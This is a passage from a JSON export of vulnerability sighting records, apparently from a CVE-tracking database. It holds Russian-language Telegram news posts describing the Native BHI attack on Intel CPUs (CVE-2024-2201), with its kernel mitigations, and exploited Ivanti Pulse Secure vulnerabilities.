"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "Telegram/hFl-dSCS4NcH_nU1Q4eehts6pYXqqIJyfXf5ZaQteu0O3h4q", "content": "", "creation_timestamp": "2025-02-14T21:08:28.000000Z"}, {"uuid": "20bb376b-3f97-4cb4-8a47-de3467d4f62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4303", "content": "\u200b\u26a1\ufe0fNative BHI: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u044f\u0434\u0440\u0430 Linux \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0441 Intel\n\n\ud83d\udcac \u0423\u0447\u0435\u043d\u044b\u0435 \u0438\u0437 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438 Native BHI, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 Linux \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u043c\u0438 Intel. \u041c\u0435\u0442\u043e\u0434 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u0435\u043d \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0445\u043e\u0441\u0442\u0430 \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d \u0438\u0437 \u0441\u0432\u043e\u0435\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b.\n\nNative BHI (CVE-2024-2201) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 BHI (Branch History Injection) CVE-2022-0001, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 2022 \u0433\u043e\u0434\u0443. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 eBPF \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u044f\u0434\u0440\u0435 \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438, \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0422\u0435\u0445\u043d\u0438\u043a\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 (\u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432) \u0432 \u043a\u043e\u0434\u0435 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 (Speculative execution). \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 InSpectre Gadget, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0432 \u044f\u0434\u0440\u0435 6.6-rc4 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0430\u043a\u0438\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (\u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 /etc/shadow), \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e \u043e\u043a\u043e\u043b\u043e 3.5 \u041a\u0431/\u0441.\n\nBHI \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0442\u0430\u043a\u0438 Spectre-v2, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0435 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043a\u044d\u0448\u0430. \u042d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0431\u0443\u0444\u0435\u0440 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u0447\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 Spectre, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0439 \u0431\u0443\u0444\u0435\u0440 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 Intel IBT (Indirect Branch Tracking) \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e-\u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u0433\u0438\u0431\u0440\u0438\u0434 FineIBT, \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u044f\u0442\u044c \u043d\u043e\u0432\u043e\u043c\u0443 \u043c\u0435\u0442\u043e\u0434\u0443 \u0430\u0442\u0430\u043a\u0438. \u0412 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u044d\u0442\u043e, \u0432 \u044f\u0434\u0440\u0435 Linux \u0431\u044b\u043b\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u044b \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 Intel (BHI_DIS_S) \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430 KVM. \u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 \u044f\u0434\u0440\u0430 Linux (6.8.5, 6.6.26, 6.1.85 \u0438 5.15.154) \u0438 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430 Xen, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u044e\u0449\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430. \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0438 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-04-11T10:54:16.000000Z"}, {"uuid": "b6554efd-c5ed-45de-9de3-69dce3e1a5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "https://t.me/itsec_news/4122", "content": "\u200b\u26a1\ufe0f1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: Ivanti, \u043f\u043e\u0440\u0430 \u043d\u0430 \u043f\u0435\u043d\u0441\u0438\u044e\n\n\ud83d\udcac \u041d\u0435\u0434\u0430\u0432\u043d\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Pulse Secure \u043e\u0442 Ivanti \u043f\u0440\u043e\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u0435\u0442 \u043d\u0430 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Eclypsium \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0441\u0432\u043e\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433 \u0434\u043b\u044f \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 \u0432\u0435\u0440\u0441\u0438\u0438 9.1.18.2-24467.1, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 Pulse Secure. \u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043e\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441\u043b\u0443\u0436\u0438\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 CentOS 6.4, \u0431\u0430\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 11 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0451\u0445 \u043b\u0435\u0442.\n\n\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043a \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432\u044b\u0437\u0432\u0430\u043d\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u043e\u043c \u0447\u0438\u0441\u043b\u0430 \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Ivanti, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Connect Secure, Policy Secure \u0438 ZTA-\u0448\u043b\u044e\u0437\u044b. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0421\u0440\u0435\u0434\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u044b\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u044b CVE-2023-46805 , CVE-2024-21887 \u0438 CVE-2024-21893 . \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e, Ivanti \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-22024 , \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c.\n\n\u041e\u0442\u0447\u0451\u0442 Eclypsium \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Pulse Secure, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044e Perl, \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0432\u0448\u0443\u044e\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 23 \u043b\u0435\u0442, \u0438 \u0432\u0435\u0440\u0441\u0438\u044e \u044f\u0434\u0440\u0430 Linux, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u043b\u0430\u0441\u044c \u0432 2016 \u0433\u043e\u0434\u0443. \u0422\u0430\u043a\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442 \u0440\u0438\u0441\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u044b\u044f\u0432\u0438\u043b \u0431\u043e\u043b\u0435\u0435 1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0438 \u0441\u0432\u044b\u0448\u0435 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 Python, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044f \u043d\u0430 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e 133 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430, \u0447\u0442\u043e \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u0435\u0449\u0451 \u0431\u043e\u043b\u044c\u0448\u0435.\n\n\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0443\u0434\u0435\u043b\u0435\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e Ivanti. \u042d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u0447\u0442\u043e \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 